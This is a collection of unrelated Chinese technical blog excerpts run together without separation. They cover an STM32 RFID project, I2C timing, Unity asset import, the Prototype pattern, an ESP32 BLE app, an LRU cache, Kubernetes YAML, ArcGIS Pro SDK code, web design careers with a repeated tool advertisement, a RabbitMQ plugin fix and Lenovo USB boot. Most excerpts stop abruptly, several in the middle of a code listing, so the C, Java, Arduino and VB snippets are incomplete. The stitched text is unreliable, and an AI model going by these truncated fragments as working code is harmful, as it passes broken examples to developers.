单片机最小系统原理图如下图所示: 实物图: 实物图: 3.2 按键电路设计 其具体电路原理图如下图所示: 实物图 3.3 RFID电路设计 RC522是一款NXP 公司的支持ISO14443A协议的高频(13.56MHz)RFID射频芯片。RFID有ID和IC两种卡应用类型,RC522属于IC卡的应用类型。NFC则属于增强的IC卡类型,支持双向通信和更多类型的协议。 ID卡在制卡时写入一次后,以后只能读取不能写入,常见的Mango卡工作频率为125KHz,所以也叫低频卡,支持ISO 18000-2协议。 其具体电路原理图如下图所示: 实物图如下: 4、部分代码展示 4.1 OLED IIC引脚初始化 void I2C_Configuration(void) { I2C_InitTypeDef I2C_InitStructure; GPIO_InitTypeDef GPIO_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_I2C1,ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB,ENABLE); /*STM32F103C8T6芯片的硬件I2C: PB6 -- SCL; PB7 -- SDA */ GPIO_InitStructure.

#循循渐进学51单片机#IIC总线与EEPROM#not.13

1、彻底理解I2C的通信时序,不仅仅是记住。 前几章我们学了一种通信协议叫做 UART 异步串行通信,这节课我们要来学习第二种常用的通信协议 I 2 C 。 I 2 C 总线是由 PHILIPS 公司开发的两线式串行总线,多用于连接微处理器及其外围芯片。I 2 C 总线的主要特点是接口方式简单,两条线可以挂多个参与通信的器件,即多机模式,而且任何一个器件都可以作为主机,当然同一时刻只能有一个主机。从原理上来讲,UART 属于异步通信,比如电脑发送给单片机,电脑只负责把数据通过TXD 发送出来即可,接收数据是单片机自己的事情。而 I 2 C 属于同步通信, SCL 时钟线负责收发双方的时钟节拍,SDA 数据线负责传输数据。 I 2 C 的发送方和接收方都以 SCL 这个时钟 节拍为基准进行数据的发送和接收。从应用上来讲,UART 通信多用于板间通信,比如单片机和电脑,这个设备和另外一个设备之间的通信。而 I 2 C 多用于板内通信,比如单片机和我们本章要学的 EEPROM 之间的通信. 在硬件上, I 2 C 总线是由时钟总线 SCL 和数据总线 SDA 两条线构成,连接到总线上的所有器件的 SCL 都连到一起,所有 SDA 都连到一起。 I 2 C 总线是开漏引脚并联的结构,因此我们外部要添加上拉电阻。对于开漏电路外部加上拉电阻,就组成了线“与”的关系。总线上线“与”的关系就是说,所有接入的器件保持高电平,这条线才是高电平,而任何一个器件输出一个低电平,那这条线就会保持低电平,因此可以做到任何一个器件都可以拉低电平,也就是任何一个器件都可以作为主机,如图 14-1 所示,我们添加了 R63 和 R64 两个上拉电阻。 虽然说任何一个设备都可以作为主机,但绝大多数情况下我们都是用单片机来做主机, 而总线上挂的多个器件,每一个都像电话机一样有自己唯一的地址,在信息传输的过程中, 通过这唯一的地址就可以正常识别到属于自己的信息,在 KST-51 开发板上,就挂接了 2 个 I 2 C 设备,一个是 24C02 ,一个是 PCF8591 。 我们在学习 UART 串行通信的时候,知道了通信流程分为起始位、数据位、停止位这三 部分,同理在 I 2 C 中也有起始信号、数据传输和停止信号,如图 14-2 所示, 从图上可以看出来, I 2 C 和 UART 时序流程有相似性,也有一定的区别。 UART 每个字 节中,都有一个起始位、8 个数据位、 1 位停止位。而 I 2 C 分为起始信号、数据传输部分、停 止信号。其中数据传输部分,可以一次通信过程传输很多个字节,字节数是不受限制的,而 每个字节的数据最后也跟了一位,这一位叫做应答位,通常用 ACK 表示,有点类似于 UART 的停止位。 下面我们一部分一部分的把 I 2 C 通信时序进行剖析。之前我们已经学过了 UART ,所以学习 I 2 C 的过程我尽量拿 UART 来作为对比,这样有助于更好的理解。但是有一点大家要理解清楚,就是 UART 通信虽然用了 TXD 和 RXD 两根线,但是实际一次通信中, 1 条线就可 以完成,2 条线是把发送和接收分开而已,而 I 2 C 每次通信,不管是发送还是接收,必须 2条线都参与工作才能完成,为了更方便的看出来每一位的传输流程,我们把图 14-2 改进成图14-3。 起始信号: UART 通信是从一直持续的高电平出现一个低电平标志起始位;而 I 2 C 通信的起始信号的定义是 SCL 为高电平期间, SDA 由高电平向低电平变化产生一个下降沿,表示起始信号,如图 14-3 中的 Start 部分所示。 数据传输:首先, UART 是低位在前,高位在后;而 I 2 C 通信是高位在前,低位在后。其次,UART 通信数据位是固定长度,波特率分之一,一位一位固定时间发送完毕就可以了。而 I 2 C 没有固定波特率,但是有时序的要求,要求当 SCL 在低电平的时候, SDA 允许变化,也就是说,发送方必须先保持 SCL 是低电平,才可以改变数据线 SDA ,输出要发送的当前数据的一位;而当 SCL 在高电平的时候, SDA 绝对不可以变化,因为这个时候,接收方要来读取当前 SDA 的电平信号是 0 还是 1 ,因此要保证 SDA 的稳定,如图 14-3 中的每一位数据的变化,都是在 SCL 的低电平位置。 8 位数据位后边跟着的是一位应答位,应答位我们后 边还要具体介绍。 停止信号: UART 通信的停止位是一位固定的高电平信号;而 I 2 C 通信停止信号的定义 是 SCL 为高电平期间, SDA 由低电平向高电平变化产生一个上升沿,表示结束信号,如图14-3 中的 Stop 部分所示。 2、能够独立完成EEPROM任意地址的单字节读写、多字节跨页连续写入读出。 存储器件,掉电后数据不丢失

Unity3D资源商店下载资源并导入

1.打开Unity3D的Asset Store并登录 2.寻找资源,选定后,点击添加至我的资源 3.选择当前所登陆账户的“我的资源”,查看所选资源 4.选择想要的资源并选择在Unity中打开 5.点击之后会跳转到Unity的PackageManager,Download所选资源 下载结束后对应资源相应按钮会变成如下,点击import,导入当前项目 6.将模型添加到当前项目的场景中 Prefabs是指预制体,将物体转成预制体之后,就可以以此为模板创建非常多个和预制体一模一样的物体了,可以跳转链接详细查看(涟涟涟涟)https://blog.csdn.net/weixin_43784914/article/details/125566728 打开资源的Prefabs文件夹后可看到,当前资源包中能用的预制体,单机拖动即可拖到场景中。 OK!结束了

「聊设计模式」之原型模式(Prototype)

🏆本文收录于《聊设计模式》专栏,专门攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎持续关注&&收藏&&订阅! 大家上午好,我是bug菌,今天我们继续聊设计模式。 前言 设计模式是软件开发中经过长期实践总结的经验和规范,它们被广泛应用于软件开发中,可以提高代码的复用性、可维护性、可读性等方面的质量。本篇文章将介绍原型模式(Prototype),并通过Java语言实现,将对该模式的特点及应用有更深入的了解。 摘要 原型模式是一种通过复制现有对象来生成新对象的设计模式。该模式的优点在于可以避免重复创建对象,并且能够在运行时动态添加或删除对象。本篇文章将通过一个例子,深入探讨原型模式的应用。 原型模式 1. 模式介绍 原型模式(Prototype)是一种创建型设计模式,它提供了创建对象的一种最佳方法,通过复制现有对象来生成新对象。该模式的核心在于通过复制现有的实例对象来创建新的实例对象,从而避免了重复创建对象的开销。 2. 模式结构 原型模式的结构包含以下几个部分: 抽象原型类(Prototype):定义了一个抽象接口,用于复制自己。具体原型类(ConcretePrototype):实现了抽象原型类的接口,在复制自己时可以生成一个新的对象。客户端(Client):调用具体原型类的clone方法复制对象。 如下是原型模式的UML类图: 3. 模式实际应用 原型模式在实际应用中常用于以下场景: 创建复杂的对象,并且创建过程比较耗时,通过克隆现有的对象来提高对象的创建效率。 通过配置文件等方式,动态生成对象,避免在代码中硬编码对象的创建过程。 需要创建一组相似的对象,通过克隆现有的对象来避免重复创建相似的对象。 在框架和工具类中,通过原型模式来实现对象的复用。 4. 原型模式的优缺点 4.1 优点包括: 可以避免重复创建相似的对象,提高代码执行效率。 可以动态生成对象,避免在代码中硬编码对象的创建过程。 可以创建一组相似的对象,避免重复创建相似的对象。 可以实现对象的复用,减少对象的创建次数,降低系统开销。 4.2 缺点包括: 在使用原型模式时,需要注意原型对象的克隆方式,即浅克隆和深克隆。 需要对每个具体原型类进行单独的克隆方法的实现,增加了代码的复杂度。 5. 模式注意事项 在使用原型模式时,需要注意以下事项: 需要对每个具体原型类进行单独的克隆方法的实现。 在克隆对象时,需要注意对象属性的克隆方式,即浅克隆和深克隆。 在使用深克隆时,需要注意对象属性的引用对象也需要进行克隆。 6. 模式实现 下面我们通过一个例子,来演示如何实现原型模式。 首先,我们定义一个抽象原型类Prototype,其中包含了一个clone方法。 package com.example.javaDesignPattern.prototype; /** * 抽象原型类 * * @author bug菌 * @version 1.0 * @date 2023/9/19 10:22 */ public abstract class Prototype implements Cloneable { public abstract Prototype clone(); } 然后,我们定义一个具体原型类ConcretePrototype,用于实现Prototype接口并复制自己。

【app篇】写个简单的BLE调试app,练练手,同时为后续调试ESP32 BLE做个支持

忘记过去,超越自己 ❤️ 博客主页 单片机菜鸟哥,一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-09-25 ❤️❤️ 本篇更新记录 2023-09-25 ❤️🎉 欢迎关注 🔎点赞 👍收藏 ⭐️留言📝🙏 此博客均由博主单独编写,不存在任何商业团队运营,如发现错误,请留言轰炸哦!及时修正!感谢支持!🔥 Arduino ESP8266教程累计帮助过超过1W+同学入门学习硬件网络编程,入选过选修课程,刊登过无线电杂志 🔥零基础从入门到熟悉Arduino平台下开发ESP8266,同时会涉及网络编程知识。专栏文章累计超过60篇,分为基础篇、网络篇、应用篇、高级篇,涵盖ESP8266大部分开发技巧。 快速导航 单片机菜鸟的博客快速索引(快速找到你要的) 如果觉得有用,麻烦点赞收藏,您的支持是博主创作的动力。 文章目录 1. 前言2. 参考资料3. App源码4. ESP32 BLE测试代码5. Arduino测试结果 1. 前言 最近在玩玩esp32 ble相关知识点,需要调试内容,所以干脆就查阅相关资料写了一个app。 app下载链接,0积分下载,亲测可用 BLE调试助手APP 2. 参考资料 使用到了FastBLE https://github.com/Jasonchenlijian/FastBle 3. App源码 需要app源码同学直接留言邮箱,见到处理。 4. ESP32 BLE测试代码 把以下代码烧录到ESP32-C3或者有BLE功能的ESP32即可。 #include <BLEDevice.h> #include <BLEServer.h> #include <BLEUtils.h> #include <BLE2902.h> BLECharacteristic *pCharacteristicRead; BLECharacteristic *pCharacteristicNotify; BLECharacteristic *pCharacteristicWrite; BLEServer *pServer; bool deviceConnected = false; char BLEbuf[32] = {0}; uint32_t cnt = 0; #define SERVICE_UUID "

146. LRU 缓存

1. LRU 缓存 https://leetcode.cn/problems/lru-cache/description/ 2. 代码实现 class LRUCache { int capacity; HashMap<Integer,Node> table; LinkedList<Integer> queue; Node head,tail; int size=0; public LRUCache(int capacity) { this.capacity=capacity; this.table=new HashMap<>(); this.queue=new LinkedList<>(); this.head=new Node(); this.tail=new Node(); this.head.next=this.tail; this.tail.pre=this.head; } public int get(int key) { if(!table.containsKey(key)){ return -1; } // 返回该节点对应值 Node node=table.get(key); int val=node.val; // 删除该节点 removeNode(node); // 将该节点插入到队列末尾 addToTail(node); return val; } // 从队列中移除节点 public void removeNode(Node node){ size--; Node left=node.pre,right=node.next; left.next=right; right.

K8S:Yaml文件详解及编写示例

文章目录 一.Yaml文件详解1.Yaml文件格式2.YAML 语法格式 二.Yaml文件编写及相关概念1.查看 api 资源版本标签2.yaml编写案例(1)相关标签介绍(2)Deployment类型编写nginx服务(3)k8s集群中的port介绍(4)Deployment类型编写redis服务(5)快速编写yaml文件(6)案例:自主式创建service并关联上面的pod(7)Pod yaml文件详解(8)deployment.yaml文件详解(9)Service yaml文件详解(10)k8s部署tomcat的yaml文件 总:1.K8S集群中访问流向2.语法格式3.yaml文件组成部署4.常用字段的含义 一.Yaml文件详解 1.Yaml文件格式 (1)Kubernetes 支持 YAML 和 JSON 格式管理资源对象 (2)JSON 格式:主要用于 api 接口之间消息的传递 (3)YAML 格式:用于配置和管理,YAML 是一种简洁的非标记性语言,内容格式人性化,较易读 2.YAML 语法格式 (1)大小写敏感 (2)使用缩进表示层级关系 (3)不支持Tab键制表符缩进,只使用空格缩进 (4)缩进的空格数目不重要,只要相同层级的元素左侧对齐即可,通常开头缩进两个空格 (5)符号字符后缩进一个空格,如冒号,逗号,短横杆(-)等 (6)“—”表示YAML格式,一个文件的开始,用于分隔文件间 (7)“#”表示注释 二.Yaml文件编写及相关概念 1.查看 api 资源版本标签 kubectl api-versions kubectl api-versions admissionregistration.k8s.io/v1 admissionregistration.k8s.io/v1beta1 apiextensions.k8s.io/v1 apiextensions.k8s.io/v1beta1 apiregistration.k8s.io/v1 apiregistration.k8s.io/v1beta1 apps/v1 #如果是业务场景一般首选使用 apps/v1 authentication.k8s.io/v1 authentication.k8s.io/v1beta1 #带有beta字样的代表的是测试版本,不用在生产环境中 authorization.k8s.io/v1 authorization.k8s.io/v1beta1 autoscaling/v1 autoscaling/v2beta1 autoscaling/v2beta2 batch/v1 batch/v1beta1 certificates.k8s.io/v1 certificates.k8s.io/v1beta1 coordination.k8s.io/v1 coordination.k8s.io/v1beta1 discovery.k8s.io/v1beta1 events.k8s.io/v1 events.k8s.io/v1beta1 extensions/v1beta1 flowcontrol.apiserver.k8s.io/v1beta1 networking.

ARCGIS PRO SDK VB2022 创建线要素

Private Async Sub Button_Click_1(sender As Object, e As Windows.RoutedEventArgs) MapView = MapView.Active '获取地图视图的关联地图 Map = MapView.Map ttp = 0 '获取的图层 Dim ttp As Integer For it = 0 To Map.Layers.Count - 1 If Map.Layers(it).Name = "权属界线" Then Layer = CType(Map.Layers(it), FeatureLayer) ttp = 1 End If Next If ttp = 0 Then MsgBox("权属界线层不存在。") Exit Sub End If Await QueuedTask.Run(Sub() pfeatureClass = Layer.GetFeatureClass Dim FeatureClassDefinition As FeatureClassDefinition = pfeatureClass.GetDefinition() Dim rowBuffer As RowBuffer = pfeatureClass.

网页设计 VS 网页开发:核心差异摘要

有些对网站制作感兴趣的朋友分不清网页设计和网页开发的区别。直接在百科全书上搜索两者的定义概念,越看越头晕。在本文中,我们将比较网页设计与网页开发日常工作的区别,以帮助您更好地理解这两个不同的职业。 1.网页设计师在做什么? 1.1网页设计师的工作职责 虽然网页设计与网页开发最大的区别确实是“创造力、视觉、艺术”等类别,但网页设计师的责任不仅仅是这些,以下是网页设计师的日常工作: 前期研究 用户流程 网站地图 绘制线框 使用工具 1.2网页设计师的类别 当你想申请网页设计师职位时,你可能会发现有很多分类和差异。它们之间有什么区别? 用户界面(UI)设计师和用户体验(UX)设计师 他们不仅负责创建网站的视觉内容,还专注于用户和产品之间的整个互动,包括产品体验给用户带来的感受。 交互设计师 虽然交互设计有点类似于UX设计,但它更特别于用户体验的一个部分:交互设计依靠按钮、标签、动态效果、视觉表达和用户有效沟通,通过用户情感反应影响用户行为,交互设计师一般专注于界面布局和业务逻辑过程设计。 产品设计师 他们主要负责“产品”的设计,从网站到应用程序,甚至包括物理产品(如网站周围的实物)。 1.3网页设计工具 在选择合适的网页设计软件时,网页设计师需要一个功能强大、使用成本低、学习曲线短的网页设计工具。国内网页设计软件即时设计可以完美匹配这些需求,仅仅三年的时间里就赢得了众多专业设计师的青睐。 即时设计 - 可实时协作的专业 UI 设计工具即时设计是一款支持在线协作的专业级 UI 设计工具,支持 Sketch、Figma、XD 格式导入,海量优质设计资源即拿即用。支持创建交互原型、获取设计标注,为产设研团队提供一站式协同办公体验。https://js.design/?source=csdn&plan=bttcsdn9251 2.网页开发人员是做什么的 网页开发包括网站的创建、优化和维护,目标是使网站能够被公众访问、使用和交互。 2.1网页开发人员的工作职责 网页开发人员承担着许多不同的工作职责,以下是他们在日常工作中通常要负责的: 确保网站正确显示 确保网站正常运行 链接集成 网站测试 故障排除与维护优化 2.2网页开发人员的类别 就像有不同类别的网页设计师一样,网页开发人员也有细分类别。在这里,我们将介绍最常见的前端、后端和全栈开发人员。 前端开发人员 负责网站显示的方式,这就需要HTML、CSS和JS语言编写代码。 后端开发人员 负责编写允许网站正确向用户发送和接收信息的代码。因此,开发人员必须管理服务器、应用程序和数据库之间的连接。这需要编程语言,例如:SQL,Python,PHP和C++等。 全栈开发人员 它是一名负责前端和后端开发的开发人员,通过管理网站的显示和执行来展示他们的多功能技能。 3.网页设计师与网页开发人员的区别 创建一个网站就像建造一所房子。在建造房屋之前,为了确保美观和实用性,建筑设计师将首先与业主沟通,根据甲方的需要设计房屋的外观效果,然后输出设计图纸。在获得设计图纸后,建筑工程师开始考虑实现设计图纸的方式,然后开始施工。在此过程中,设计师还将不时参与讨论,提供意见和建议,双方可以保持合作,直到最终完成。 网站创建也是如此: 网页设计师将甲方的需求转化为设计图纸,负责完成What部分。 网页开发人员将设计图纸转换为可操作代码,负责完成How部分。 两者的工作职责不同,但为了实现同样的目标,需要共同合作。 4.网页设计还是网页开发 这是一个非常不同的决定,只能由你自己来衡量:你应该考虑什么最适合你的兴趣?你的生活方式是什么?你的教育背景更适合哪一个?什么样的薪水更符合你的期望,等等。 如果你更像一个有艺术气息的人,不想深入研究幕后的事情,网页设计可能更适合你。如果你更愿意了解事物内部的操作原理,对编程代码感兴趣,那么网页开发可能是一个更好的选择。 无论是只对界面设计感兴趣,对编程代码一无所知的设计玩家,还是有一定的编程开发基础,还是对界面设计无助的技术,都可以通过即时设计独立完成高质量的网站设计。 即时设计 - 可实时协作的专业 UI 设计工具即时设计是一款支持在线协作的专业级 UI 设计工具,支持 Sketch、Figma、XD 格式导入,海量优质设计资源即拿即用。支持创建交互原型、获取设计标注,为产设研团队提供一站式协同办公体验。https://js.design/?source=csdn&plan=bttcsdn9251

Plugin configuration unchanged.

安装rabbit_mq后 rabbitmq-plugins enable rabbitmq_management命令 启动失败 安装MQ全过程: 先安装erl,配置环境变量 3、安装rabbitMQ 安装过程一直next就可以了(我安装的时候选择的是E盘),安装完成之后,需要我们激活rabbitmq_management, rabbitmq-plugins enable rabbitmq_management 然后出现了这个错误 参考:RabbitMQ:Plugin configuration unchanged;解决RabbitMQ启动问题,Win10用户中文问题解决_plugin start error: com.pdos.mq.rabbitmqconsumerpl_负债奋斗B的博客-CSDN博客 先配置环境变量 1. 在安装完RabbitMQ并且配置好环境变量之后. 使用管理员权限 打开命令控制符 打开之后进入到安装RabbitMQ的安装目录sbin下 然后用命令进入到这个路径下 进入到这里之后在终端执行 rabbitmq-service.bat remove 命令 ; 2. 在安装目录创建data文件夹 3. set RABBITMQ_BASE=E:\rabbitMQ\install\rabbitmq_server-3.10.7\data 默认的路径在c盘用户的文件夹下 此项操作可以改变默认路径 4. 执行命令: rabbitmq-service.bat install 5. 执行 rabbitmq-plugins enable rabbitmq_management 命令 6.执行 rabbitmq-server.bat start

【实用技巧】联想一体机台式机如何设置从U盘引导?简单易学,轻松掌握!

如果您使用的是联想一体机台式机,那么您可能会遇到一些需要从U盘启动的情况。本文将分享一种简单易学的方法,帮助您轻松掌握如何从U盘引导联想一体机台式机。无论您是联想新用户还是老用户,这篇文章都将为您提供宝贵的信息和指导。让我们一起来看看吧! 联想知识库https://iknow.lenovo.com.cn/detail/141255